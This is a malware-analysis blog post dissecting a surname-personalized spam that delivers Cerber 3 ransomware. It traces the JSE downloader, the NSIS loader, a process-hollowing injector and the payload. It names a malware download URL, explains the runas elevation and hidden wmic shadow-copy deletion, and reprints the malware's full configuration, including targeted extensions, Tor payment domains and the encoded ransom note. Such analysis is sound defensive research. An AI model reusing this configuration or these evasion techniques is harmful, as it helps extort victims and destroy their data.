Anatomy of a personalized Cerber spam

Last week I was browsing Twitter when I found a tweet from Jaromir Horejsi about a spam mail with a Locky downloader that was personalized with his surname. It was the same day that I received a spam too, also with my surname in it. I’m always happy when this happens as it gives me an opportunity to go down the rabbit hole and check what’s hidden in there.

In my case the mail body was empty. It only contained a ZIP attachment and was sent with high priority.

cerber-spamMy surname (or a substring of it) was part of the sender address, the subject and also the ZIP file name. The content of the ZIP file was a single JSE file. JSE stands for JavaScript Encoded Script File and it is exactly what its name indicates, a JavaScript file encoded into a binary blob that can be executed the same way as “normal” JavaScript files. The file contained a lot of random text comments at the beginning and at the end with a single line encoded binary blob in between.

cerber-jse-downloader

JSE files are frequently used in recent spam campaigns. The reason probably is that AV engines are less likely to detect such encoded files as opposed to JS files in a textual form. It also adds an additional (albeit simple) layer of obfuscation. At this stage, I already knew that this file will only be a simple downloader, however I decided to decode the blob and get the original JS file just for fun and practice. After googling around I eventually found a VBS script that can decode both VBE and JSE files. As I expected, the decoded JS file was just another slightly obfuscated JavaScript downloader, very similar to that of Locky from my previous post. I did not try to deobfuscate the file as it should be pretty straightforward, you can find it here however, in case you would like to compare the detection rate for both encoded and decoded variants. Please do not make the mistake to draw any conclusion from the number of AV engines detecting these files. Remember that AV engines can have a lot of detection features that are not included in VirusTotal.

Having the original decoded JavaScript downloader, I executed it to see what download URL was used and to get the payload. The download URL for this script was http://somefeelg.top/admin.php?f=1.bin.

cerber-dropper-url

I cycled through the same URL several times, incrementing the number by one every time. It served me a PE file every time up until 8.bin. I managed to get two unique PE files this way. The first one was already on VT by the time I downloaded, the second one however was not so I decided to take a look at that one.

In most cases I start my payload analysis by simply executing the sample. This can happen either in a VM, in a sandbox or both. By running the sample, I quickly realized that the payload was not Locky as I initially expected but the Cerber ransomware, asking for 1 bitcoin to decrypt my files.

cerber-cerber

cerber-bitcoin

I also noticed an interesting behavior. When running the sample, I received an elevation prompt for cmd.exe but after displaying the details it was imminent that the command line interpret was only executing the malware sample with the command line argument -eval.

cerber-runas

This is not a very clever way to gain elevation but I understand it could fool a lot of user to click the Yes button as they will only see the Windows Command Processor name until they click on the details button.

Now was the time to take a closer look at the sample. I opened it in CFF Explorer and saw that it is an NSIS (Nullsoft Scriptable Install System) file. NSIS is a popular installer framework. Unfortunately, it is also widely used as an additional obfuscation layer for malware. Fortinet recently reported that Locky started to use NSIS in some cases as its loader. The NSIS framework as you might have already guessed by now is scriptable. You can control the installation with an NSIS Script File (.nsi) that is compiled into a binary format and executed by the NSIS engine. You can extract the content of the file with 7-Zip.

cerber-nsis

Unfortunately, 7-Zip will not extract the script file (at least not the most recent version). I used the NSIDis (Nullsoft Decompiler) project recommended by the NSIS Wiki to extract and decompile the installation script. I had to fix some typos in the Python script to get it work but it should not be any problem for anybody with basic programming skills. The decompiled script contains a lot of junk and the most important part is just the following few lines of code (I edited the script for better reading).

cerber-script-nsi

The script only does two things. It first concatenates vicarages.rxy and heresiarch.rnk into a third file named Introvert.K. Then it loads ProxySettings.dll and calls the method called Mawkin. The next thing to look into was ProxySettings.dll.

The DLL is really simple and there is nothing suspicious at first sight. It does not contain any method named Mawkin, the relevant code is called from the entry point. After a while, the true intention of the DLL started to appear on the stack.

cerber-decrypted-func

These are functions used in RunPE injection (or process hollowing). The names are decrypted on the fly and function addresses are resolved dynamically. It was obvious that ProxySettings.dll was only an injector library that would inject the real payload into a newly spawned process. The payload was contained encrypted in Introvert.K loaded from ProxySettings.dll.

cerber-payload-open

cerber-payload-read2

cerber-payload-read3

I had no time to analyze the decryption routine and frankly I was more interested in the payload so I jumped right to the injection itself. The DLL was spawning the process of the NSIS installer to inject the payload.

cerber-suspended-spawn

I just had to wait for the first inject to get the address of the decrypted payload in memory.

cerber-pe-inject4

cerber-pe-inject3

I was able to dump the decrypted payload which at this point I already knew was a Cerber sample.

Check Point released an excellent detailed report on Cerber recently that I encourage everybody to read. As I had not much time, I only tried to check if parts from this report are still valid for my payload. I expected some differences as the report is valid for Cerber 2. My payload however was Cerber 3 as it was creating .cerber3 extensions for encrypted files. First thing I wanted to check was the elevation dialog I saw and indeed, the payload contains the code to elevate through calling ShellExecuteEx windows API.

cerber-shellexecute

It uses the verb runas to force the spawned cmd.exe to run elevated. The command prompt executable will then run the malware with -eval argument on the command line. As cmd.exe is already elevated, the executed malware would run elevated too. Cerber really tries hard to elevate. If you click on the No button in the elevation dialog, it will prompt you 2 more times with 1 minute sleeps between the prompts. The Check Point report has a detailed description of different modes that Cerber supports. Among them is also the EVAL mode that uses the command line argument -eval. In my case however, there was no PID passed as a parameter to -eval and throughout my tests I did not feel any difference between executing the malware with or without this argument. I feel like in the previous version this argument was only to signal to the newly spawned malware process that it should not try to elevate again because everything was done in order to do that (with or without success). My testing Windows 7 had the EnableLua flag set in the registry and the sample kept trying to elevate through runas when executed. The only thing that had effect on execution was if the sample was executed as elevated, no matter if I passed the -eval argument or not.

One of the clear differences between the behavior of Cerber 2 from the report and my Cerber 3 payload was the way how it tried to delete the shadow volume copy. According to Check Point, Cerber 2 was using vssadmin.exe to do that. The sample I got was using wmic.exe. This is not a new technique, several ransomware families are using it already. The reason behind this technique is that executing vssadmin.exe immediately raises an alert in most of the AV applications. Cerber is executing wmic.exe in a stealthy way by first spawning cmd.exe on the background

cerber-cmdspawn

and sending commands to it through the WriteFile API.

cerber-writefile

It even has code to check the result of the operation by reading the console output with ReadFile API and log the output through the OutputDebugString API as the command line window is not visible.

cerber-readconsole

It is important to note here that (according to my tests) this sample was not trying to delete volume shadow copy if not running as elevated. This is very interesting as in my case the UAC bypass was not working at all and the runas elevation is much more noisy and more importantly it does require user approval.

I already mentioned that this sample has some calls to OutputDebugString. The author had no intention to remove the debugging code from the binary. You can even control it through the configuration. Cerber uses a JSON format for its configuration. It is (along with all strings) encrypted in the body of the malware and decrypted on the fly when needed. I changed the debug flag in the configuration to see what will be logged through OutputDebugString.

cerber-config

Unfortunately, it did not log too much apart from every file that was encrypted. It also saved the list of encrypted files into a file named files.txt. During the analysis I found that some failures are also logged in debug mode. I’m adding the pretty-printed JSON configuration here as a reference.

{

"blacklist": {

"files": [

"bootsect.bak",

"iconcache.db",

"ntuser.dat",

"thumbs.db"

],

"folders": [

":\\$recycle.bin\\",

":\\$windows.~bt\\",

":\\boot\\",

":\\documents and settings\\all users\\",

":\\documents and settings\\default user\\",

":\\documents and settings\\localservice\\",

":\\documents and settings\\networkservice\\",

":\\program files\\",

":\\program files (x86)\\",

":\\programdata\\",

":\\recovery\\",

":\\recycler\\",

":\\users\\all users\\",

":\\windows\\",

":\\windows.old\\",

"\\appdata\\local\\",

"\\appdata\\locallow\\",

"\\appdata\\roaming\\adobe\\flash player\\",

"\\appData\\roaming\\apple computer\\safari\\",

"\\appdata\\roaming\\ati\\",

"\\appdata\\roaming\\intel\\",

"\\appdata\\roaming\\intel corporation\\",

"\\appdata\\roaming\\google\\",

"\\appdata\\roaming\\macromedia\\flash player\\",

"\\appdata\\roaming\\mozilla\\",

"\\appdata\\roaming\\nvidia\\",

"\\appdata\\roaming\\opera\\",

"\\appdata\\roaming\\opera software\\",

"\\appdata\\roaming\\microsoft\\internet explorer\\",

"\\appdata\\roaming\\microsoft\\windows\\",

"\\application data\\microsoft\\",

"\\local settings\\",

"\\public\\music\\sample music\\",

"\\public\\pictures\\sample pictures\\",

"\\public\\videos\\sample videos\\",

"\\tor browser\\"

],

"languages": [

1049,

1058,

1059,

1064,

1067,

1068,

1079,

1087,

1088,

1090,

1091,

1092,

2072,

2073,

2092,

2115

]

},

"check": {

"language": 1

},

"debug": 0,

"default": {

"site_1": "onion.to",

"site_2": "onion.cab",

"site_3": "onion.nu",

"site_4": "onion.link",

"site_5": "tor2web.org",

"tor": "6liso4fbnupevqsn"

},

"encrypt": {

"bytes_skip": 512,

"encrypt": 1,

"files": [

[

".accdb",

".mdb",

".mdf",

".dbf",

".vpd",

".sdf",

".sqlitedb",

".sqlite3",

".sqlite",

".sql",

".sdb",

".doc",

".docx",

".odt",

".xls",

".xlsx",

".ods",

".ppt",

".pptx",

".odp",

".pst",

".dbx",

".wab",

".tbk",

".pps",

".ppsx",

".pdf",

".jpg",

".tif",

".pub",

".one",

".rtf",

".csv",

".docm",

".xlsm",

".pptm",

".ppsm",

".xlsb",

".dot",

".dotx",

".dotm",

".xlt",

".xltx",

".xltm",

".pot",

".potx",

".potm",

".xps",

".wps",

".xla",

".xlam",

".erbsql",

".sqlite-shm",

".sqlite-wal",

".litesql",

".ndf",

".ost",

".pab",

".oab",

".contact",

".jnt",

".mapimail",

".msg",

".prf",

".rar",

".txt",

".xml",

".zip",

".1cd",

".3ds",

".3g2",

".3gp",

".7z",

".7zip",

".aoi",

".asf",

".asp",

".aspx",

".asx",

".avi",

".bak",

".cer",

".cfg",

".class",

".config",

".css",

".dds",

".dwg",

".dxf",

".flf",

".flv",

".html",

".idx",

".js",

".key",

".kwm",

".laccdb",

".ldf",

".lit",

".m3u",

".mbx",

".md",

".mid",

".mlb",

".mov",

".mp3",

".mp4",

".mpg",

".obj",

".pages",

".php",

".psd",

".pwm",

".rm",

".safe",

".sav",

".save",

".srt",

".swf",

".thm",

".vob",

".wav",

".wma",

".wmv",

".3dm",

".aac",

".ai",

".arw",

".c",

".cdr",

".cls",

".cpi",

".cpp",

".cs",

".db3",

".drw",

".dxb",

".eps",

".fla",

".flac",

".fxg",

".java",

".m",

".m4v",

".max",

".pcd",

".pct",

".pl",

".ppam",

".ps",

".pspimage",

".r3d",

".rw2",

".sldm",

".sldx",

".svg",

".tga",

".xlm",

".xlr",

".xlw",

".act",

".adp",

".al",

".bkp",

".blend",

".cdf",

".cdx",

".cgm",

".cr2",

".crt",

".dac",

".dcr",

".ddd",

".design",

".dtd",

".fdb",

".fff",

".fpx",

".h",

".iif",

".indd",

".jpeg",

".mos",

".nd",

".nsd",

".nsf",

".nsg",

".nsh",

".odc",

".oil",

".pas",

".pat",

".pef",

".pfx",

".ptx",

".qbb",

".qbm",

".sas7bdat",

".say",

".st4",

".st6",

".stc",

".sxc",

".sxw",

".tlg",

".wad",

".xlk",

".aiff",

".bin",

".bmp",

".cmt",

".dat",

".dit",

".edb",

".flvv",

".gif",

".groups",

".hdd",

".hpp",

".m2ts",

".m4p",

".mkv",

".mpeg",

".nvram",

".ogg",

".pdb",

".pif",

".png",

".qed",

".qcow",

".qcow2",

".rvt",

".st7",

".stm",

".vbox",

".vdi",

".vhd",

".vhdx",

".vmdk",

".vmsd",

".vmx",

".vmxf",

".3fr",

".3pr",

".ab4",

".accde",

".accdr",

".accdt",

".ach",

".acr",

".adb",

".ads",

".agdl",

".ait",

".apj",

".asm",

".awg",

".back",

".backup",

".backupdb",

".bank",

".bay",

".bdb",

".bgt",

".bik",

".bpw",

".cdr3",

".cdr4",

".cdr5",

".cdr6",

".cdrw",

".ce1",

".ce2",

".cib",

".craw",

".crw",

".csh",

".csl",

".db_journal",

".dc2",

".dcs",

".ddoc",

".ddrw",

".der",

".des",

".dgc",

".djvu",

".dng",

".drf",

".dxg",

".eml",

".erf",

".exf",

".ffd",

".fh",

".fhd",

".gray",

".grey",

".gry",

".hbk",

".ibank",

".ibd",

".ibz",

".iiq",

".incpas",

".jpe",

".kc2",

".kdbx",

".kdc",

".kpdx",

".lua",

".mdc",

".mef",

".mfw",

".mmw",

".mny",

".moneywell",

".mrw",

".myd",

".ndd",

".nef",

".nk2",

".nop",

".nrw",

".ns2",

".ns3",

".ns4",

".nwb",

".nx2",

".nxl",

".nyf",

".odb",

".odf",

".odg",

".odm",

".orf",

".otg",

".oth",

".otp",

".ots",

".ott",

".p12",

".p7b",

".p7c",

".pdd",

".pem",

".plus_muhd",

".plc",

".psafe3",

".py",

".qba",

".qbr",

".qbw",

".qbx",

".qby",

".raf",

".rat",

".raw",

".rdb",

".rwl",

".rwz",

".s3db",

".sd0",

".sda",

".sr2",

".srf",

".srw",

".st5",

".st8",

".std",

".sti",

".stw",

".stx",

".sxd",

".sxg",

".sxi",

".sxm",

".tex",

".wallet",

".wb2",

".wpd",

".x11",

".x3f",

".xis",

".ycbcra",

".yuv",

".mab",

".json",

".msf",

".jar",

".cdb",

".srb",

".abd",

".qtb",

".cfn",

".info",

".info_",

".flb",

".def",

".atb",

".tbn",

".tbb",

".tlx",

".pml",

".pmo",

".pnx",

".pnc",

".pmi",

".pmm",

".lck",

".pm!",

".pmr",

".usr",

".pnd",

".pmj",

".pm",

".lock",

".srs",

".pbf",

".omg",

".wmf",

".sh",

".war",

".ascx",

".k2p",

".apk",

".asset",

".bsa",

".d3dbsp",

".das",

".forge",

".iwi",

".lbf",

".litemod",

".ltx",

".m4a",

".re4",

".slm",

".tiff",

".upk",

".xxx",

".money",

".cash",

".private",

".cry",

".vsd",

".tax",

".gbr",

".dgn",

".stl",

".gho",

".ma",

".acc",

".db"

]

],

"max_block_size": 2,

"max_blocks": 5,

"min_file_size": 1024,

"multithread": 1,

"network": 1,

"new_extension": ".cerber3",

"rc4_key_size": 256,

"rsa_key_size": 880

},

"global_public_key": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2a3R5NXFocUV5ZFI5MDc2RmV2cAowdU1QN0laTm1zMUFBN0dQUVVUaE1XYllpRVlJaEJLY1QwL253WXJCcTBPZ3Y3OUsxdHRhMDRFSFRyWGdjQXAvCk9KZ0JoejlONThhZXdkNHlaQm0yY29lYURHdmNHUkFjOWU3Mk9iRlEvVE1FL0lvN0xaNXFYRFd6RGFmSThMQTgKSlFtU3owTCsvRytMUFRXZzdrUE9wSlQ3V1NrUmI5VDh3NVFnWlJKdXZ2aEVySE04M2tPM0VMVEgrU29FSTUzcAo0RU5Wd2ZOTkVwT3BucE9PU0tRb2J0SXc1NkNzUUZyaGFjMHNRbE9qZWsvbXVWbHV4amlFbWMwZnN6azJXTFNuCnFyeWlNeXphSTVEV0JEallLWEExdHAyaC95Z2JrWWRGWVJiQUVxd3RMeFQyd01mV1BRSTVPa2hUYTl0WnFEMEgKblFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==",

"help_files": {

"files": [

{

"file_body": "PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQogICA8aGVhZD4NCiAgICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCiAgICAgIDx0aXRsZT4mIzA2NztlcmJlciAmIzA4MjthbnNvbXdhcmU8L3RpdGxlPg0KICAgICAgPHN0eWxlPg0KICAgICAgYSB7DQogICAgICAgICBjb2xvcjogIzQ3YzsNCiAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgIH0NCiAgICAgIGE6aG92ZXIgew0KICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7DQogICAgICB9DQogICAgICBib2R5IHsNCiAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNlN2U3ZTc7DQogICAgICAgICBjb2xvcjogIzMzMzsNCiAgICAgICAgIGZvbnQtZmFtaWx5OiAiSGVsdmV0aWNhIE5ldWUiLCBIZWx2ZXRpY2EsICJTZWdvZSBVSSIsIEFyaWFsLCBmcmVlc2Fucywgc2Fucy1zZXJpZiwgIkFwcGxlIENvbG9yIEVtb2ppIiwgIlNlZ29lIFVJIEVtb2ppIiwgIlNlZ29lIFVJIFN5bWJvbCI7DQogICAgICAgICBmb250LXNpemU6IDE2cHg7DQogICAgICAgICBsaW5lLWhlaWdodDogMS42Ow0KICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgcGFkZGluZzogMDsNCiAgICAgIH0NCiAgICAgIGhyIHsNCiAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNlN2U3ZTc7DQogICAgICAgICBib3JkZXI6IDAgbm9uZTsNCiAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjYzdjN2M3Ow0KICAgICAgICAgaGVpZ2h0OiA1cHg7DQogICAgICAgICBtYXJnaW46IDMwcHggMDsNCiAgICAgIH0NCiAgICAgIGxpIHsNCiAgICAgICAgIHBhZGRpbmc6IDAgMCA3cHggN3B4Ow0KICAgICAgfQ0KICAgICAgb2wgew0KICAgICAgICAgcGFkZGluZy1sZWZ0OiAzZW07DQogICAgICB9DQogICAgICAuY29udGFpbmVyIHsNCiAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjYzdjN2M3Ow0KICAgICAgICAgbWFyZ2luOiA0MHB4Ow0KICAgICAgICAgcGFkZGluZzogNDBweCA0MHB4IDIwcHggNDBweDsNCiAgICAgIH0NCiAgICAgIC5pbmZvLCAudG9yIHsNCiAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNlZmU7DQogICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjYmRhOw0KICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICBwYWRkaW5nOiAwcHggMjBweDsNCiAgICAgIH0NCiAgICAgIC5sb2dvIHsNCiAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsNCiAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgICAgICAgbGluZS1oZWlnaHQ6IDE7DQogICAgICAgICBtYXJnaW46IDA7DQogICAgICB9DQogICAgICAudXBkX29uIHsNCiAgICAgICAgIGNvbG9yOiByZWQ7DQogICAgICAgICBkaXNwbGF5OiBibG9jazsNCiAgICAgIH0NCiAgICAgIC51cGRfb2ZmIHsNCiAgICAgICAgIGRpc3BsYXk6IG5vbmU7DQogICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgIH0NCiAgICAgIC50b3Igew0KICAgICAgICAgcGFkZGluZzogMTBweCAwOw0KICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgfQ0KICAgICAgLnVybCB7DQogICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweDsNCiAgICAgIH0NCiAgICAgIC53YXJuaW5nIHsNCiAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNWU3ZTc7DQogICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZWJjY2QxOw0KICAgICAgICAgY29sb3I6ICNhNDQ7DQogICAgICAgICBkaXNwbGF5OiBibG9jazsNCiAgICAgICAgIHBhZGRpbmc6IDE1cHggMTBweDsNCiAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgIH0NCiAgICAgIDwvc3R5bGU+DQogICA8L2hlYWQ+DQogICA8Ym9keT4NCiAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgICAgICA8aDM+QyBFIFIgQiBFIFImbmJzcDsmbmJzcDsmbmJzcDtSIEEgTiBTIE8gTSBXIEEgUiBFPC9oMz4NCiAgICAgICAgIDxocj4NCiAgICAgICAgIDxwPkNhbm5vdCB5b3UgZmluZCB0aGUgZmlsZXMgeW91IG5lZWQ/PGJyPklzIHRoZSBjb250ZW50IG9mIHRoZSBmaWxlcyB0aGF0IHlvdSBsb29rZWQgZm9yIG5vdCByZWFkYWJsZT88L3A+DQogICAgICAgICA8cD5JdCBpcyBub3JtYWwgYmVjYXVzZSB0aGUgZmlsZXMnIG5hbWVzLCBhcyB3ZWxsIGFzIHRoZSBkYXRhIGluIHlvdXIgZmlsZXMgaGF2ZSBiZWVuIGVuY3J5cHRlZC48L3A+DQogICAgICAgICA8cD5HcmVhdCE8YnI+WW91IGhhdmUgdHVybmVkIHRvIGJlIGEgcGFydCBvZiBhIGJpZyBjb21tdW5pdHkgIiNDM3JiZXIgUmFuc29td2FyZSIuPC9wPg0KICAgICAgICAgPGhyPg0KICAgICAgICAgPHA+PHNwYW4gY2xhc3M9Indhcm5pbmciPklmIHlvdSBhcmUgcmVhZGluZyB0aGlzIG1lc3NhZ2UgaXQgbWVhbnMgdGhlIHNvZnR3YXJlICJDZXJiZXIiIGhhcyBiZWVuIHJlbW92ZWQgZnJvbSB5b3VyIGNvbXB1dGVyLjwvc3Bhbj48L3A+DQogICAgICAgICA8aHI+DQogICAgICAgICA8aDM+V2hhdCBpcyBlbmNyeXB0aW9uPzwvaDM+DQogICAgICAgICA8cD5FbmNyeXB0aW9uIGlzIGEgcmV2ZXJzaWJsZSBtb2RpZmljYXRpb24gb2YgaW5mb3JtYXRpb24gZm9yIHNlY3VyaXR5IHJlYXNvbnMgYnV0IHByb3ZpZGluZyBmdWxsIGFjY2VzcyB0byBpdCBmb3IgYXV0aG9yaXplZCB1c2Vycy48L3A+DQogICAgICAgICA8cD5UbyBiZWNvbWUgYW4gYXV0aG9yaXplZCB1c2VyIGFuZCBrZWVwIHRoZSBtb2RpZmljYXRpb24gYWJzb2x1dGVseSByZXZlcnNpYmxlIChpbiBvdGhlciB3b3JkcyB0byBoYXZlIGEgcG9zc2liaWxpdHkgdG8gZGVjcnlwdCB5b3VyIGZpbGVzKSB5b3Ugc2hvdWxkIGhhdmUgYW4gaW5kaXZpZHVhbCBwcml2YXRlIGtleS48L3A+DQogICAgICAgICA8cD5CdXQgbm90IG9ubHkgaXQuPC9wPg0KICAgICAgICAgPHA+SXQgaXMgcmVxdWlyZWQgYWxzbyB0byBoYXZlIHRoZSBzcGVjaWFsIGRlY3J5cHRpb24gc29mdHdhcmUgKGluIHlvdXIgY2FzZSAiQ2VyYmVyIERlY3J5cHRvciIgc29mdHdhcmUpIGZvciBzYWZlIGFuZCBjb21wbGV0ZSBkZWNyeXB0aW9uIG9mIGFsbCB5b3VyIGZpbGVzIGFuZCBkYXRhLjwvcD4NCiAgICAgICAgIDxocj4NCiAgICAgICAgIDxoMz5FdmVyeXRoaW5nIGlzIGNsZWFyIGZvciBtZSBidXQgd2hhdCBzaG91bGQgSSBkbz88L2gzPg0KICAgICAgICAgPHA+VGhlIGZpcnN0IHN0ZXAgaXMgcmVhZGluZyB0aGVzZSBpbnN0cnVjdGlvbnMgdG8gdGhlIGVuZC48L3A+DQogICAgICAgICA8cD5Zb3VyIGZpbGVzIGhhdmUgYmVlbiBlbmNyeXB0ZWQgd2l0aCB0aGUgIkNlcmJlciBSYW5zb213YXJlIiBzb2Z0d2FyZTsgdGhlIGluc3RydWN0aW9ucyAoIiMgREVDUllQVCBNWSBGSUxFUyAjLmh0bWwiIGFuZCAiIyBERUNSWVBUIE1ZIEZJTEVTICMudHh0IikgaW4gdGhlIGZvbGRlcnMgd2l0aCB5b3VyIGVuY3J5cHRlZCBmaWxlcyBhcmUgbm90IHZpcnVzZXMsIHRoZXkgd2lsbCBoZWxwIHlvdS48L3A+DQogICAgICAgICA8cD5BZnRlciByZWFkaW5nIHRoaXMgdGV4dCB0aGUgbW9zdCBwYXJ0IG9mIHBlb3BsZSBzdGFydCBzZWFyY2hpbmcgaW4gdGhlIEludGVybmV0IHRoZSB3b3JkcyB0aGUgIkNlcmJlciBSYW5zb213YXJlIiB3aGVyZSB0aGV5IGZpbmQgYSBsb3Qgb2YgaWRlYXMsIHJlY29tbWVuZGF0aW9ucyBhbmQgaW5zdHJ1Y3Rpb25zLjwvcD4NCiAgICAgICAgIDxwPkl0IGlzIG5lY2Vzc2FyeSB0byByZWFsaXplIHRoYXQgd2UgYXJlIHRoZSBvbmVzIHdobyBjbG9zZWQgdGhlIGxvY2sgb24geW91ciBmaWxlcyBhbmQgd2UgYXJlIHRoZSBvbmx5IG9uZXMgd2hvIGhhdmUgdGhpcyBzZWNyZXQga2V5IHRvIG9wZW4gdGhlbS48L3A+DQogICAgICAgICA8cD48c3BhbiBjbGFzcz0id2FybmluZyI+IUFueSBhdHRlbXB0cyB0byBnZXQgYmFjayB5b3VyIGZpbGVzIHdpdGggdGhlIHRoaXJkLXBhcnR5IHRvb2xzIGNhbiBiZSBmYXRhbCBmb3IgeW91ciBlbmNyeXB0ZWQgZmlsZXMhPC9zcGFuPjwvcD4NCiAgICAgICAgIDxwPlRoZSBtb3N0IHBhcnQgb2YgdGhlIHRoaXJkLXBhcnR5IHNvZnR3YXJlIGNoYW5nZSBkYXRhIHdpdGhpbiB0aGUgZW5jcnlwdGVkIGZpbGUgdG8gcmVzdG9yZSBpdCBidXQgdGhpcyBjYXVzZXMgZGFtYWdlIHRvIHRoZSBmaWxlcy48L3A+DQogICAgICAgICA8cD5GaW5hbGx5IGl0IHdpbGwgYmUgaW1wb3NzaWJsZSB0byBkZWNyeXB0IHlvdXIgZmlsZXMhPC9wPg0KICAgICAgICAgPHA+V2hlbiB5b3UgbWFrZSBhIHB1enpsZSwgYnV0IHNvbWUgaXRlbXMgYXJlIGxvc3QsIGJyb2tlbiBvciBub3QgcHV0IGluIGl0cyBwbGFjZSAtIHRoZSBwdXp6bGUgaXRlbXMgd2lsbCBuZXZlciBtYXRjaCwgdGhlIHNhbWUgd2F5IHRoZSB0aGlyZC1wYXJ0eSBzb2Z0d2FyZSB3aWxsIHJ1aW4geW91ciBmaWxlcyBjb21wbGV0ZWx5IGFuZCBpcnJldmVyc2libHkuPC9wPg0KICAgICAgICAgPHA+WW91IHNob3VsZCByZWFsaXplIHRoYXQgYW55IGludGVydmVudGlvbiBvZiB0aGUgdGhpcmQtcGFydHkgc29mdHdhcmUgdG8gcmVzdG9yZSBmaWxlcyBlbmNyeXB0ZWQgd2l0aCB0aGUgIkNlcmJlciBSYW5zb213YXJlIiBzb2Z0d2FyZSBtYXkgYmUgZmF0YWwgZm9yIHlvdXIgZmlsZXMuPC9wPg0KICAgICAgICAgPGhyPg0KICAgICAgICAgPHA+PHNwYW4gY2xhc3M9Indhcm5pbmciPlRoZXJlIGFyZSBzZXZlcmFsIHBsYWluIHN0ZXBzIHRvIHJlc3RvcmUgeW91ciBmaWxlcyBidXQgaWYgeW91IGRvIG5vdCBmb2xsb3cgdGhlbSB3ZSB3aWxsIG5vdCBiZSBhYmxlIHRvIGhlbHAgeW91LCBhbmQgd2Ugd2lsbCBub3QgdHJ5IHNpbmNlIHlvdSBoYXZlIHJlYWQgdGhpcyB3YXJuaW5nIGFscmVhZHkuPC9zcGFuPjwvcD4NCiAgICAgICAgIDxocj4NCiAgICAgICAgIDxwPkZvciB5b3VyIGluZm9ybWF0aW9uIHRoZSBzb2Z0d2FyZSB0byBkZWNyeXB0IHlvdXIgZmlsZXMgKGFzIHdlbGwgYXMgdGhlIHByaXZhdGUga2V5IHByb3ZpZGVkIHRvZ2V0aGVyKSBhcmUgcGFpZCBwcm9kdWN0cy48L3A+DQogICAgICAgICA8cD5BZnRlciBwdXJjaGFzZSBvZiB0aGUgc29mdHdhcmUgcGFja2FnZSB5b3Ugd2lsbCBiZSBhYmxlIHRvOjwvcD4NCiAgICAgICAgIDxvbD4NCiAgICAgICAgIDxsaT5kZWNyeXB0IGFsbCB5b3VyIGZpbGVzOzwvbGk+DQogICAgICAgICA8bGk+d29yayB3aXRoIHlvdXIgZG9jdW1lbnRzOzwvbGk+DQogICAgICAgICA8bGk+dmlldyB5b3VyIHBob3RvcyBhbmQgb3RoZXIgbWVkaWE7PC9saT4NCiAgICAgICAgIDxsaT5jb250aW51ZSB5b3VyIHVzdWFsIGFuZCBjb21mb3J0YWJsZSB3b3JrIGF0IHRoZSBjb21wdXRlci48L2xpPg0KICAgICAgICAgPC9vbD4NCiAgICAgICAgIDxwPklmIHlvdSB1bmRlcnN0YW5kIGFsbCBpbXBvcnRhbmNlIG9mIHRoZSBzaXR1YXRpb24gdGhlbiB3ZSBwcm9wb3NlIHRvIHlvdSB0byBnbyBkaXJlY3RseSB0byB5b3VyIHBlcnNvbmFsIHBhZ2Ugd2hlcmUgeW91IHdpbGwgcmVjZWl2ZSB0aGUgY29tcGxldGUgaW5zdHJ1Y3Rpb25zIGFuZCBndWFyYW50ZWVzIHRvIHJlc3RvcmUgeW91ciBmaWxlcy48L3A+DQogICAgICAgICA8aHI+DQogICAgICAgICA8ZGl2IGNsYXNzPSJpbmZvIj4NCiAgICAgICAgIDxwPlRoZXJlIGlzIGEgbGlzdCBvZiB0ZW1wb3JhcnkgYWRkcmVzc2VzIHRvIGdvIG9uIHlvdXIgcGVyc29uYWwgcGFnZSBiZWxvdzo8L3A+DQogICAgICAgICA8b2w+DQogICAgICAgICA8bGk+PHNwYW4gY2xhc3M9InVwZF9vZmYiIGlkPSJ1cGRfMSI+UGxlYXNlIHdhaXQuLi48L3NwYW4+PGEgY2xhc3M9InVybCIgaHJlZj0iaHR0cDovL3tUT1J9LntTSVRFXzF9L3tQQ19JRH0iIGlkPSJ1cmxfMSIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly97VE9SfS57U0lURV8xfS97UENfSUR9PC9hPig8YSBocmVmPSIjdXBkYXRlVXJsIiBvbkNsaWNrPSJyZXR1cm4gdXBkYXRlVXJsKCk7IiBzdHlsZT0iY29sb3I6IHJlZDsiPkdldCBhIE5FVyBhZGRyZXNzITwvYT4pPC9saT4NCiAgICAgICAgIDxsaT48YSBocmVmPSJodHRwOi8ve1RPUn0ue1NJVEVfMn0ve1BDX0lEfSIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly97VE9SfS57U0lURV8yfS97UENfSUR9PC9hPjwvbGk+DQogICAgICAgICA8bGk+PGEgaHJlZj0iaHR0cDovL3tUT1J9LntTSVRFXzN9L3tQQ19JRH0iIHRhcmdldD0iX2JsYW5rIj5odHRwOi8ve1RPUn0ue1NJVEVfM30ve1BDX0lEfTwvYT48L2xpPg0KICAgICAgICAgPGxpPjxhIGhyZWY9Imh0dHA6Ly97VE9SfS57U0lURV80fS97UENfSUR9IiB0YXJnZXQ9Il9ibGFuayI+aHR0cDovL3tUT1J9LntTSVRFX